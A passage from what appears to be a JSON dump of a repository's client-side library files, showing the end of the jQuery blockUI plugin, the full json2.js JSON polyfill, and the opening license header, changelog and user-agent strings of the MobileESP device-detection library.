style=\"z-index:'+(z+10)+';display:none;position:absolute\"></div>';\n\t\t\t}\n\t\t\tlyr3 = $(s);\n\n\t\t\t// if we have a message, style it\n\t\t\tif (msg) {\n\t\t\t\tif (opts.theme) {\n\t\t\t\t\tlyr3.css(themedCSS);\n\t\t\t\t\tlyr3.addClass('ui-widget-content');\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tlyr3.css(css);\n\t\t\t}\n\n\t\t\t// style the overlay\n\t\t\tif (!opts.theme /*&& (!opts.applyPlatformOpacityRules)*/)\n\t\t\t\tlyr2.css(opts.overlayCSS);\n\t\t\tlyr2.css('position', full ? 'fixed' : 'absolute');\n\n\t\t\t// make iframe layer transparent in IE\n\t\t\tif (msie || opts.forceIframe)\n\t\t\t\tlyr1.css('opacity',0.0);\n\n\t\t\t//$([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);\n\t\t\tvar layers = [lyr1,lyr2,lyr3], $par = full ? $('body') : $(el);\n\t\t\t$.each(layers, function() {\n\t\t\t\tthis.appendTo($par);\n\t\t\t});\n\n\t\t\tif (opts.theme && opts.draggable && $.fn.draggable) {\n\t\t\t\tlyr3.draggable({\n\t\t\t\t\thandle: '.ui-dialog-titlebar',\n\t\t\t\t\tcancel: 'li'\n\t\t\t\t});\n\t\t\t}\n\n\t\t\t// ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)\n\t\t\tvar expr = setExpr && (!$.support.boxModel || $('object,embed', full ? null : el).length > 0);\n\t\t\tif (ie6 || expr) {\n\t\t\t\t// give body 100% height\n\t\t\t\tif (full && opts.allowBodyStretch && $.support.boxModel)\n\t\t\t\t\t$('html,body').css('height','100%');\n\n\t\t\t\t// fix ie6 issue when blocked element has a border width\n\t\t\t\tif ((ie6 || !$.support.boxModel) && !full) {\n\t\t\t\t\tvar t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');\n\t\t\t\t\tvar fixT = t ? '(0 - '+t+')' : 0;\n\t\t\t\t\tvar fixL = l ? '(0 - '+l+')' : 0;\n\t\t\t\t}\n\n\t\t\t\t// simulate fixed position\n\t\t\t\t$.each(layers, function(i,o) {\n\t\t\t\t\tvar s = o[0].style;\n\t\t\t\t\ts.position = 'absolute';\n\t\t\t\t\tif (i < 2) {\n\t\t\t\t\t\tif (full)\n\t\t\t\t\t\t\ts.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.support.boxModel?0:'+opts.quirksmodeOffsetHack+') + \"px\"');\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\ts.setExpression('height','this.parentNode.offsetHeight + \"px\"');\n\t\t\t\t\t\tif (full)\n\t\t\t\t\t\t\ts.setExpression('width','jQuery.support.boxModel && document.documentElement.clientWidth || document.body.clientWidth + \"px\"');\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\ts.setExpression('width','this.parentNode.offsetWidth + \"px\"');\n\t\t\t\t\t\tif (fixL) s.setExpression('left', fixL);\n\t\t\t\t\t\tif (fixT) s.setExpression('top', fixT);\n\t\t\t\t\t}\n\t\t\t\t\telse if (opts.centerY) {\n\t\t\t\t\t\tif (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + \"px\"');\n\t\t\t\t\t\ts.marginTop = 0;\n\t\t\t\t\t}\n\t\t\t\t\telse if (!opts.centerY && full) {\n\t\t\t\t\t\tvar top = (opts.css && opts.css.top) ? parseInt(opts.css.top, 10) : 0;\n\t\t\t\t\t\tvar expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + \"px\"';\n\t\t\t\t\t\ts.setExpression('top',expression);\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\n\t\t\t// show the message\n\t\t\tif (msg) {\n\t\t\t\tif (opts.theme)\n\t\t\t\t\tlyr3.find('.ui-widget-content').append(msg);\n\t\t\t\telse\n\t\t\t\t\tlyr3.append(msg);\n\t\t\t\tif (msg.jquery || msg.nodeType)\n\t\t\t\t\t$(msg).show();\n\t\t\t}\n\n\t\t\tif ((msie || opts.forceIframe) && opts.showOverlay)\n\t\t\t\tlyr1.show(); // opacity is zero\n\t\t\tif (opts.fadeIn) {\n\t\t\t\tvar cb = opts.onBlock ? opts.onBlock : noOp;\n\t\t\t\tvar cb1 = (opts.showOverlay && !msg) ? cb : noOp;\n\t\t\t\tvar cb2 = msg ? cb : noOp;\n\t\t\t\tif (opts.showOverlay)\n\t\t\t\t\tlyr2._fadeIn(opts.fadeIn, cb1);\n\t\t\t\tif (msg)\n\t\t\t\t\tlyr3._fadeIn(opts.fadeIn, cb2);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tif (opts.showOverlay)\n\t\t\t\t\tlyr2.show();\n\t\t\t\tif (msg)\n\t\t\t\t\tlyr3.show();\n\t\t\t\tif (opts.onBlock)\n\t\t\t\t\topts.onBlock.bind(lyr3)();\n\t\t\t}\n\n\t\t\t// bind key and mouse events\n\t\t\tbind(1, el, opts);\n\n\t\t\tif (full) {\n\t\t\t\tpageBlock = lyr3[0];\n\t\t\t\tpageBlockEls = $(opts.focusableElements,pageBlock);\n\t\t\t\tif (opts.focusInput)\n\t\t\t\t\tsetTimeout(focus, 20);\n\t\t\t}\n\t\t\telse\n\t\t\t\tcenter(lyr3[0], opts.centerX, opts.centerY);\n\n\t\t\tif (opts.timeout) {\n\t\t\t\t// auto-unblock\n\t\t\t\tvar to = setTimeout(function() {\n\t\t\t\t\tif (full)\n\t\t\t\t\t\t$.unblockUI(opts);\n\t\t\t\t\telse\n\t\t\t\t\t\t$(el).unblock(opts);\n\t\t\t\t}, opts.timeout);\n\t\t\t\t$(el).data('blockUI.timeout', to);\n\t\t\t}\n\t\t}\n\n\t\t// remove the block\n\t\tfunction remove(el, opts) {\n\t\t\tvar count;\n\t\t\tvar full = (el == window);\n\t\t\tvar $el = $(el);\n\t\t\tvar data = $el.data('blockUI.history');\n\t\t\tvar to = $el.data('blockUI.timeout');\n\t\t\tif (to) {\n\t\t\t\tclearTimeout(to);\n\t\t\t\t$el.removeData('blockUI.timeout');\n\t\t\t}\n\t\t\topts = $.extend({}, $.blockUI.defaults, opts || {});\n\t\t\tbind(0, el, opts); // unbind events\n\n\t\t\tif (opts.onUnblock === null) {\n\t\t\t\topts.onUnblock = $el.data('blockUI.onUnblock');\n\t\t\t\t$el.removeData('blockUI.onUnblock');\n\t\t\t}\n\n\t\t\tvar els;\n\t\t\tif (full) // crazy selector to handle odd field errors in ie6/7\n\t\t\t\tels = $('body').children().filter('.blockUI').add('body > .blockUI');\n\t\t\telse\n\t\t\t\tels = $el.find('>.blockUI');\n\n\t\t\t// fix cursor issue\n\t\t\tif ( opts.cursorReset ) {\n\t\t\t\tif ( els.length > 1 )\n\t\t\t\t\tels[1].style.cursor = opts.cursorReset;\n\t\t\t\tif ( els.length > 2 )\n\t\t\t\t\tels[2].style.cursor = opts.cursorReset;\n\t\t\t}\n\n\t\t\tif (full)\n\t\t\t\tpageBlock = pageBlockEls = null;\n\n\t\t\tif (opts.fadeOut) {\n\t\t\t\tcount = els.length;\n\t\t\t\tels.stop().fadeOut(opts.fadeOut, function() {\n\t\t\t\t\tif ( --count === 0)\n\t\t\t\t\t\treset(els,data,opts,el);\n\t\t\t\t});\n\t\t\t}\n\t\t\telse\n\t\t\t\treset(els, data, opts, el);\n\t\t}\n\n\t\t// move blocking element back into the DOM where it started\n\t\tfunction reset(els,data,opts,el) {\n\t\t\tvar $el = $(el);\n\t\t\tif ( $el.data('blockUI.isBlocked') )\n\t\t\t\treturn;\n\n\t\t\tels.each(function(i,o) {\n\t\t\t\t// remove via DOM calls so we don't lose event handlers\n\t\t\t\tif (this.parentNode)\n\t\t\t\t\tthis.parentNode.removeChild(this);\n\t\t\t});\n\n\t\t\tif (data && data.el) {\n\t\t\t\tdata.el.style.display = data.display;\n\t\t\t\tdata.el.style.position = data.position;\n\t\t\t\tdata.el.style.cursor = 'default'; // #59\n\t\t\t\tif (data.parent)\n\t\t\t\t\tdata.parent.appendChild(data.el);\n\t\t\t\t$el.removeData('blockUI.history');\n\t\t\t}\n\n\t\t\tif ($el.data('blockUI.static')) {\n\t\t\t\t$el.css('position', 'static'); // #22\n\t\t\t}\n\n\t\t\tif (typeof opts.onUnblock == 'function')\n\t\t\t\topts.onUnblock(el,opts);\n\n\t\t\t// fix issue in Safari 6 where block artifacts remain until reflow\n\t\t\tvar body = $(document.body), w = body.width(), cssW = body[0].style.width;\n\t\t\tbody.width(w-1).width(w);\n\t\t\tbody[0].style.width = cssW;\n\t\t}\n\n\t\t// bind/unbind the handler\n\t\tfunction bind(b, el, opts) {\n\t\t\tvar full = el == window, $el = $(el);\n\n\t\t\t// don't bother unbinding if there is nothing to unbind\n\t\t\tif (!b && (full && !pageBlock || !full && !$el.data('blockUI.isBlocked')))\n\t\t\t\treturn;\n\n\t\t\t$el.data('blockUI.isBlocked', b);\n\n\t\t\t// don't bind events when overlay is not in use or if bindEvents is false\n\t\t\tif (!full || !opts.bindEvents || (b && !opts.showOverlay))\n\t\t\t\treturn;\n\n\t\t\t// bind anchors and inputs for mouse and key events\n\t\t\tvar events = 'mousedown mouseup keydown keypress keyup touchstart touchend touchmove';\n\t\t\tif (b)\n\t\t\t\t$(document).bind(events, opts, handler);\n\t\t\telse\n\t\t\t\t$(document).unbind(events, handler);\n\n\t\t// former impl...\n\t\t//\t\tvar $e = $('a,:input');\n\t\t//\t\tb ? $e.bind(events, opts, handler) : $e.unbind(events, handler);\n\t\t}\n\n\t\t// event handler to suppress keyboard/mouse events when blocking\n\t\tfunction handler(e) {\n\t\t\t// allow tab navigation (conditionally)\n\t\t\tif (e.type === 'keydown' && e.keyCode && e.keyCode == 9) {\n\t\t\t\tif (pageBlock && e.data.constrainTabKey) {\n\t\t\t\t\tvar els = pageBlockEls;\n\t\t\t\t\tvar fwd = !e.shiftKey && e.target === els[els.length-1];\n\t\t\t\t\tvar back = e.shiftKey && e.target === els[0];\n\t\t\t\t\tif (fwd || back) {\n\t\t\t\t\t\tsetTimeout(function(){focus(back);},10);\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tvar opts = e.data;\n\t\t\tvar target = $(e.target);\n\t\t\tif (target.hasClass('blockOverlay') && opts.onOverlayClick)\n\t\t\t\topts.onOverlayClick(e);\n\n\t\t\t// allow events within the message content\n\t\t\tif (target.parents('div.' + opts.blockMsgClass).length > 0)\n\t\t\t\treturn true;\n\n\t\t\t// allow events for content that is not being blocked\n\t\t\treturn target.parents().children().filter('div.blockUI').length === 0;\n\t\t}\n\n\t\tfunction focus(back) {\n\t\t\tif (!pageBlockEls)\n\t\t\t\treturn;\n\t\t\tvar e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];\n\t\t\tif (e)\n\t\t\t\te.focus();\n\t\t}\n\n\t\tfunction center(el, x, y) {\n\t\t\tvar p = el.parentNode, s = el.style;\n\t\t\tvar l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');\n\t\t\tvar t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');\n\t\t\tif (x) s.left = l > 0 ? (l+'px') : '0';\n\t\t\tif (y) s.top  = t > 0 ? (t+'px') : '0';\n\t\t}\n\n\t\tfunction sz(el, p) {\n\t\t\treturn parseInt($.css(el,p),10)||0;\n\t\t}\n\n\t}\n\n\n\t/*global define:true */\n\tif (typeof define === 'function' && define.amd && define.amd.jQuery) {\n\t\tdefine(['jquery'], setup);\n\t} else {\n\t\tsetup(jQuery);\n\t}\n\n})();\n"
  },
  {
    "path": "core/main/client/lib/json2.js",
    "content": "//  json2.js\n//  2016-10-28\n//  Public Domain.\n//  NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.\n//  See http://www.JSON.org/js.html\n//  This code should be minified before deployment.\n//  See http://javascript.crockford.com/jsmin.html\n\n//  USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO\n//  NOT CONTROL.\n\n//  This file creates a global JSON object containing two methods: stringify\n//  and parse. This file provides the ES5 JSON capability to ES3 systems.\n//  If a project might run on IE8 or earlier, then this file should be included.\n//  This file does nothing on ES5 systems.\n\n// Create a JSON object only if one does not already exist. We create the\n// methods in a closure to avoid creating global variables.\n\nif (typeof JSON !== \"object\") {\n    JSON = {};\n}\n\n(function () {\n    \"use strict\";\n\n    var rx_one = /^[\\],:{}\\s]*$/;\n    var rx_two = /\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g;\n    var rx_three = /\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g;\n    var rx_four = /(?:^|:|,)(?:\\s*\\[)+/g;\n    var rx_escapable = /[\\\\\"\\u0000-\\u001f\\u007f-\\u009f\\u00ad\\u0600-\\u0604\\u070f\\u17b4\\u17b5\\u200c-\\u200f\\u2028-\\u202f\\u2060-\\u206f\\ufeff\\ufff0-\\uffff]/g;\n    var rx_dangerous = /[\\u0000\\u00ad\\u0600-\\u0604\\u070f\\u17b4\\u17b5\\u200c-\\u200f\\u2028-\\u202f\\u2060-\\u206f\\ufeff\\ufff0-\\uffff]/g;\n\n    function f(n) {\n        // Format integers to have at least two digits.\n        return n < 10\n            ? \"0\" + n\n            : n;\n    }\n\n    function this_value() {\n        return this.valueOf();\n    }\n\n    if (typeof Date.prototype.toJSON !== \"function\") {\n\n        Date.prototype.toJSON = function () {\n\n            return isFinite(this.valueOf())\n                ? this.getUTCFullYear() + \"-\" +\n                        f(this.getUTCMonth() + 1) + \"-\" +\n                        f(this.getUTCDate()) + \"T\" +\n                        f(this.getUTCHours()) + \":\" +\n                        f(this.getUTCMinutes()) + \":\" +\n                        f(this.getUTCSeconds()) + \"Z\"\n                : null;\n        };\n\n        Boolean.prototype.toJSON = this_value;\n        Number.prototype.toJSON = this_value;\n        String.prototype.toJSON = this_value;\n    }\n\n    var gap;\n    var indent;\n    var meta;\n    var rep;\n\n\n    function quote(string) {\n\n// If the string contains no control characters, no quote characters, and no\n// backslash characters, then we can safely slap some quotes around it.\n// Otherwise we must also replace the offending characters with safe escape\n// sequences.\n\n        rx_escapable.lastIndex = 0;\n        return rx_escapable.test(string)\n            ? \"\\\"\" + string.replace(rx_escapable, function (a) {\n                var c = meta[a];\n                return typeof c === \"string\"\n                    ? c\n                    : \"\\\\u\" + (\"0000\" + a.charCodeAt(0).toString(16)).slice(-4);\n            }) + \"\\\"\"\n            : \"\\\"\" + string + \"\\\"\";\n    }\n\n\n    function str(key, holder) {\n\n// Produce a string from holder[key].\n\n        var i;          // The loop counter.\n        var k;          // The member key.\n        var v;          // The member value.\n        var length;\n        var mind = gap;\n        var partial;\n        var value = holder[key];\n\n// If the value has a toJSON method, call it to obtain a replacement value.\n\n        if (value && typeof value === \"object\" &&\n                typeof value.toJSON === \"function\") {\n            value = value.toJSON(key);\n        }\n\n// If we were called with a replacer function, then call the replacer to\n// obtain a replacement value.\n\n        if (typeof rep === \"function\") {\n            value = rep.call(holder, key, value);\n        }\n\n// What happens next depends on the value's type.\n\n        switch (typeof value) {\n        case \"string\":\n            return quote(value);\n\n        case \"number\":\n\n// JSON numbers must be finite. Encode non-finite numbers as null.\n\n            return isFinite(value)\n                ? String(value)\n                : \"null\";\n\n        case \"boolean\":\n        case \"null\":\n\n// If the value is a boolean or null, convert it to a string. Note:\n// typeof null does not produce \"null\". The case is included here in\n// the remote chance that this gets fixed someday.\n\n            return String(value);\n\n// If the type is \"object\", we might be dealing with an object or an array or\n// null.\n\n        case \"object\":\n\n// Due to a specification blunder in ECMAScript, typeof null is \"object\",\n// so watch out for that case.\n\n            if (!value) {\n                return \"null\";\n            }\n\n// Make an array to hold the partial results of stringifying this object value.\n\n            gap += indent;\n            partial = [];\n\n// Is the value an array?\n\n            if (Object.prototype.toString.apply(value) === \"[object Array]\") {\n\n// The value is an array. Stringify every element. Use null as a placeholder\n// for non-JSON values.\n\n                length = value.length;\n                for (i = 0; i < length; i += 1) {\n                    partial[i] = str(i, value) || \"null\";\n                }\n\n// Join all of the elements together, separated with commas, and wrap them in\n// brackets.\n\n                v = partial.length === 0\n                    ? \"[]\"\n                    : gap\n                        ? \"[\\n\" + gap + partial.join(\",\\n\" + gap) + \"\\n\" + mind + \"]\"\n                        : \"[\" + partial.join(\",\") + \"]\";\n                gap = mind;\n                return v;\n            }\n\n// If the replacer is an array, use it to select the members to be stringified.\n\n            if (rep && typeof rep === \"object\") {\n                length = rep.length;\n                for (i = 0; i < length; i += 1) {\n                    if (typeof rep[i] === \"string\") {\n                        k = rep[i];\n                        v = str(k, value);\n                        if (v) {\n                            partial.push(quote(k) + (\n                                gap\n                                    ? \": \"\n                                    : \":\"\n                            ) + v);\n                        }\n                    }\n                }\n            } else {\n\n// Otherwise, iterate through all of the keys in the object.\n\n                for (k in value) {\n                    if (Object.prototype.hasOwnProperty.call(value, k)) {\n                        v = str(k, value);\n                        if (v) {\n                            partial.push(quote(k) + (\n                                gap\n                                    ? \": \"\n                                    : \":\"\n                            ) + v);\n                        }\n                    }\n                }\n            }\n\n// Join all of the member texts together, separated with commas,\n// and wrap them in braces.\n\n            v = partial.length === 0\n                ? \"{}\"\n                : gap\n                    ? \"{\\n\" + gap + partial.join(\",\\n\" + gap) + \"\\n\" + mind + \"}\"\n                    : \"{\" + partial.join(\",\") + \"}\";\n            gap = mind;\n            return v;\n        }\n    }\n\n// If the JSON object does not yet have a stringify method, give it one.\n\n    if (typeof JSON.stringify !== \"function\") {\n        meta = {    // table of character substitutions\n            \"\\b\": \"\\\\b\",\n            \"\\t\": \"\\\\t\",\n            \"\\n\": \"\\\\n\",\n            \"\\f\": \"\\\\f\",\n            \"\\r\": \"\\\\r\",\n            \"\\\"\": \"\\\\\\\"\",\n            \"\\\\\": \"\\\\\\\\\"\n        };\n        JSON.stringify = function (value, replacer, space) {\n\n// The stringify method takes a value and an optional replacer, and an optional\n// space parameter, and returns a JSON text. The replacer can be a function\n// that can replace values, or an array of strings that will select the keys.\n// A default replacer method can be provided. Use of the space parameter can\n// produce text that is more easily readable.\n\n            var i;\n            gap = \"\";\n            indent = \"\";\n\n// If the space parameter is a number, make an indent string containing that\n// many spaces.\n\n            if (typeof space === \"number\") {\n                for (i = 0; i < space; i += 1) {\n                    indent += \" \";\n                }\n\n// If the space parameter is a string, it will be used as the indent string.\n\n            } else if (typeof space === \"string\") {\n                indent = space;\n            }\n\n// If there is a replacer, it must be a function or an array.\n// Otherwise, throw an error.\n\n            rep = replacer;\n            if (replacer && typeof replacer !== \"function\" &&\n                    (typeof replacer !== \"object\" ||\n                    typeof replacer.length !== \"number\")) {\n                throw new Error(\"JSON.stringify\");\n            }\n\n// Make a fake root object containing our value under the key of \"\".\n// Return the result of stringifying the value.\n\n            return str(\"\", {\"\": value});\n        };\n    }\n\n\n// If the JSON object does not yet have a parse method, give it one.\n\n    if (typeof JSON.parse !== \"function\") {\n        JSON.parse = function (text, reviver) {\n\n// The parse method takes a text and an optional reviver function, and returns\n// a JavaScript value if the text is a valid JSON text.\n\n            var j;\n\n            function walk(holder, key) {\n\n// The walk method is used to recursively walk the resulting structure so\n// that modifications can be made.\n\n                var k;\n                var v;\n                var value = holder[key];\n                if (value && typeof value === \"object\") {\n                    for (k in value) {\n                        if (Object.prototype.hasOwnProperty.call(value, k)) {\n                            v = walk(value, k);\n                            if (v !== undefined) {\n                                value[k] = v;\n                            } else {\n                                delete value[k];\n                            }\n                        }\n                    }\n                }\n                return reviver.call(holder, key, value);\n            }\n\n\n// Parsing happens in four stages. In the first stage, we replace certain\n// Unicode characters with escape sequences. JavaScript handles many characters\n// incorrectly, either silently deleting them, or treating them as line endings.\n\n            text = String(text);\n            rx_dangerous.lastIndex = 0;\n            if (rx_dangerous.test(text)) {\n                text = text.replace(rx_dangerous, function (a) {\n                    return \"\\\\u\" +\n                            (\"0000\" + a.charCodeAt(0).toString(16)).slice(-4);\n                });\n            }\n\n// In the second stage, we run the text against regular expressions that look\n// for non-JSON patterns. We are especially concerned with \"()\" and \"new\"\n// because they can cause invocation, and \"=\" because it can cause mutation.\n// But just to be safe, we want to reject all unexpected forms.\n\n// We split the second stage into 4 regexp operations in order to work around\n// crippling inefficiencies in IE's and Safari's regexp engines. First we\n// replace the JSON backslash pairs with \"@\" (a non-JSON character). Second, we\n// replace all simple value tokens with \"]\" characters. Third, we delete all\n// open brackets that follow a colon or comma or that begin the text. Finally,\n// we look to see that the remaining characters are only whitespace or \"]\" or\n// \",\" or \":\" or \"{\" or \"}\". If that is so, then the text is safe for eval.\n\n            if (\n                rx_one.test(\n                    text\n                        .replace(rx_two, \"@\")\n                        .replace(rx_three, \"]\")\n                        .replace(rx_four, \"\")\n                )\n            ) {\n\n// In the third stage we use the eval function to compile the text into a\n// JavaScript structure. The \"{\" operator is subject to a syntactic ambiguity\n// in JavaScript: it can begin a block or an object literal. We wrap the text\n// in parens to eliminate the ambiguity.\n\n                j = eval(\"(\" + text + \")\");\n\n// In the optional fourth stage, we recursively walk the new structure, passing\n// each name/value pair to a reviver function for possible transformation.\n\n                return (typeof reviver === \"function\")\n                    ? walk({\"\": j}, \"\")\n                    : j;\n            }\n\n// If the text is not JSON parseable, then a SyntaxError is thrown.\n\n            throw new SyntaxError(\"JSON.parse\");\n        };\n    }\n}());\n"
  },
  {
    "path": "core/main/client/lib/mdetect.js",
    "content": "/* *******************************************\n// Copyright 2010-2015, Anthony Hand\n//\n// BETA NOTICE\n// Previous versions of the JavaScript code for MobileESP were 'regular' \n// JavaScript. The strength of it was that it was really easy to code and use.\n// Unfortunately, regular JavaScript means that all variables and functions\n// are in the global namespace. There can be collisions with other code libraries\n// which may have similar variable or function names. Collisions cause bugs as each\n// library changes a variable's definition or functionality unexpectedly.\n// As a result, we thought it wise to switch to an \"object oriented\" style of code.\n// This 'literal notation' technique keeps all MobileESP variables and functions fully self-contained.\n// It avoids potential for collisions with other JavaScript libraries.\n// This technique allows the developer continued access to any desired function or property.\n//\n// Please send feedback to project founder Anthony Hand: anthony.hand@gmail.com\n//\n//\n// File version 2015.05.13 (May 13, 2015)\n// Updates:\n//\t- Moved MobileESP to GitHub. https://github.com/ahand/mobileesp\n//\t- Opera Mobile/Mini browser has the same UA string on multiple platforms and doesn't differentiate phone vs. tablet. \n//\t\t- Removed DetectOperaAndroidPhone(). This method is no longer reliable. \n//\t\t- Removed DetectOperaAndroidTablet(). This method is no longer reliable. \n//\t- Added support for Windows Phone 10: variable and DetectWindowsPhone10()\n//\t- Updated DetectWindowsPhone() to include WP10. \n//\t- Added support for Firefox OS.  \n//\t\t- A variable plus DetectFirefoxOS(), DetectFirefoxOSPhone(), DetectFirefoxOSTablet()\n//\t\t- NOTE: Firefox doesn't add UA tokens to definitively identify Firefox OS vs. their browsers on other mobile platforms.\n//\t- Added support for Sailfish OS. Not enough info to add a tablet detection method at this time. \n//\t\t- A variable plus DetectSailfish(), DetectSailfishPhone()\n//\t- Added support for Ubuntu Mobile OS. \n//\t\t- DetectUbuntu(), DetectUbuntuPhone(), DetectUbuntuTablet()\n//\t- Added support for 2 smart TV OSes. They lack browsers but do have WebViews for use by HTML apps. \n//\t\t- One variable for Samsung Tizen TVs, plus DetectTizenTV()\n//\t\t- One variable for LG WebOS TVs, plus DetectWebOSTV()\n//\t- Updated DetectTizen(). Now tests for “mobile” to disambiguate from Samsung Smart TVs\n//\t- Removed variables for obsolete devices: deviceHtcFlyer, deviceXoom.\n//\t- Updated DetectAndroid(). No longer has a special test case for the HTC Flyer tablet. \n//\t- Updated DetectAndroidPhone(). \n//\t\t- Updated internal detection code for Android. \n//\t\t- No longer has a special test case for the HTC Flyer tablet. \n//\t\t- Checks against DetectOperaMobile() on Android and reports here if relevant. \n//\t- Updated DetectAndroidTablet(). \n//\t\t- No longer has a special test case for the HTC Flyer tablet. \n//\t\t- Checks against DetectOperaMobile() on Android to exclude it from here.\n//\t- DetectMeego(): Changed definition for this method. Now detects any Meego OS device, not just phones. \n//\t- DetectMeegoPhone(): NEW. For Meego phones. Ought to detect Opera browsers on Meego, as well.  \n//\t- DetectTierIphone(): Added support for phones running Sailfish, Ubuntu and Firefox Mobile. \n//\t- DetectTierTablet(): Added support for tablets running Ubuntu and Firefox Mobile. \n//\t- DetectSmartphone(): Added support for Meego phones. \n//\t- Reorganized DetectMobileQuick(). Moved the following to DetectMobileLong():\n//\t\t- DetectDangerHiptop(), DetectMaemoTablet(), DetectSonyMylo(), DetectArchos()\n//       \n//\n//\n// LICENSE INFORMATION\n// Licensed under the Apache License, Version 2.0 (the \"License\"); \n// you may not use this file except in compliance with the License. \n// You may obtain a copy of the License at \n//        http://www.apache.org/licenses/LICENSE-2.0 \n// Unless required by applicable law or agreed to in writing, \n// software distributed under the License is distributed on an \n// \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, \n// either express or implied. See the License for the specific \n// language governing permissions and limitations under the License. \n//\n//\n// ABOUT THIS PROJECT\n//   Project Owner: Anthony Hand\n//   Email: anthony.hand@gmail.com\n//   Web Site: http://www.mobileesp.com\n//   Source Files: https://github.com/ahand/mobileesp\n//   \n//   Versions of this code are available for:\n//      PHP, JavaScript, Java, ASP.NET (C#), Ruby and others\n//\n//\n// WARNING: \n//   These JavaScript-based device detection features may ONLY work \n//   for the newest generation of smartphones, such as the iPhone, \n//   Android and Palm WebOS devices.\n//   These device detection features may NOT work for older smartphones \n//   which had poor support for JavaScript, including \n//   older BlackBerry, PalmOS, and Windows Mobile devices. \n//   Additionally, because JavaScript support is extremely poor among \n//   'feature phones', these features may not work at all on such devices.\n//   For better results, consider using a server-based version of this code, \n//   such as Java, APS.NET, PHP, or Ruby.\n//\n// *******************************************\n*/\n\n\nvar MobileEsp = {\n\n\t//GLOBALLY USEFUL VARIABLES\n\t//Note: These values are set automatically during the Init function.\n\t//Stores whether we're currently initializing the most popular functions.\n\tinitCompleted : false,\n\tisWebkit : false, //Stores the result of DetectWebkit()\n\tisMobilePhone : false, //Stores the result of DetectMobileQuick()\n\tisIphone : false, //Stores the result of DetectIphone()\n\tisAndroid : false, //Stores the result of DetectAndroid()\n\tisAndroidPhone : false, //Stores the result of DetectAndroidPhone()\n\tisTierTablet : false, //Stores the result of DetectTierTablet()\n\tisTierIphone : false, //Stores the result of DetectTierIphone()\n\tisTierRichCss : false, //Stores the result of DetectTierRichCss()\n\tisTierGenericMobile : false, //Stores the result of DetectTierOtherPhones()\n\t\n\t//INTERNALLY USED DETECTION STRING VARIABLES\n\tengineWebKit : 'webkit',\n\tdeviceIphone : 'iphone',\n\tdeviceIpod : 'ipod',\n\tdeviceIpad : 'ipad',\n\tdeviceMacPpc : 'macintosh', //Used for disambiguation\n\t\n\tdeviceAndroid : 'android',\n\tdeviceGoogleTV : 'googletv',\n\t\n\tdeviceWinPhone7 : 'windows phone os 7', \n\tdeviceWinPhone8 : 'windows phone 8', \n\tdeviceWinPhone10 : 'windows phone 10', \n\tdeviceWinMob : 'windows ce',\n\tdeviceWindows : 'windows',\n\tdeviceIeMob : 'iemobile',\n\tdevicePpc : 'ppc', //Stands for PocketPC\n\tenginePie : 'wm5 pie',  //An old Windows Mobile\n\n\tdeviceBB : 'blackberry',\n\tdeviceBB10 : 'bb10', //For the new BB 10 OS\n\tvndRIM : 'vnd.rim', //Detectable when BB devices emulate IE or Firefox\n\tdeviceBBStorm : 'blackberry95', //Storm 1 and 2\n\tdeviceBBBold : 'blackberry97', //Bold 97x0 (non-touch)\n\tdeviceBBBoldTouch : 'blackberry 99', //Bold 99x0 (touchscreen)\n\tdeviceBBTour : 'blackberry96', //Tour\n\tdeviceBBCurve : 'blackberry89', //Curve 2\n\tdeviceBBCurveTouch : 'blackberry 938', //Curve Touch 9380\n\tdeviceBBTorch : 'blackberry 98', //Torch\n\tdeviceBBPlaybook : 'playbook', //PlayBook tablet\n\n\tdeviceSymbian : 'symbian',\n\tdeviceSymbos : 'symbos', //Opera 10 on Symbian\n\tdeviceS60 : 'series60',\n\tdeviceS70 : 'series70',\n\tdeviceS80 : 'series80',\n\tdeviceS90 : 'series90',\n\n\tdevicePalm : 'palm',\n\tdeviceWebOS : 'webos', //For Palm devices \n\tdeviceWebOStv : 'web0s', //For LG TVs\n\tdeviceWebOShp : 'hpwos', //For HP's line of WebOS devices\n\n\tdeviceNuvifone : 'nuvifone', //Garmin Nuvifone\n\tdeviceBada : 'bada', //Samsung's Bada OS\n\tdeviceTizen : 'tizen', //Tizen OS\n\tdeviceMeego : 'meego', //Meego OS\n\tdeviceSailfish : 'sailfish', //Sailfish OS\n\tdeviceUbuntu : 'ubuntu', //Ubuntu Mobile OS\n\n\tdeviceKindle : 'kindle', //Amazon eInk Kindle\n\tengineSilk : 'silk-accelerated', //Amazon's accelerated Silk browser for Kindle Fire\n\n\tengineBlazer : 'blazer', //Old Palm browser\n\tengineXiino : 'xiino',\n\t\n\t//Initialize variables for mobile-specific content.\n\tvndwap : 'vnd.wap',\n\twml : 'wml',\n\t\n\t//Initialize variables for random devices and mobile browsers.\n\t//Some of these may not support JavaScript\n\tdeviceTablet : 'tablet',\n\tdeviceBrew : 'brew',\n\tdeviceDanger : 'danger',\n\tdeviceHiptop : 'hiptop',\n\tdevicePlaystation : 'playstation',\n\tdevicePlaystationVita : 'vita',\n\tdeviceNintendoDs : 'nitro',\n\tdeviceNintendo : 'nintendo',\n\tdeviceWii : 'wii',\n\tdeviceXbox : 